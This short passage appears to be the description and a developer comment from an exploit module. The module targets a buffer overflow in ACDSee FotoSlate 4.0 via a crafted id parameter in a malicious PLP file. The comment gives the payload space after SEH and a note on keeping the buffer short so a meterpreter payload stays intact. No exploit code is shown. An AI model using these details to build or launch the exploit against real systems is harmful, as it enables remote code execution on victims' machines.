					This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
				a specially crafted id parameter in a String element.  When viewing a malicious
				PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
				buffer and execute arbitrary code. This exploit has been tested on systems such as
				Windows XP SP3, Windows Vista, and Windows 7.

After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
using a long buffer in order to avoid the meterpreter possibly being broken.
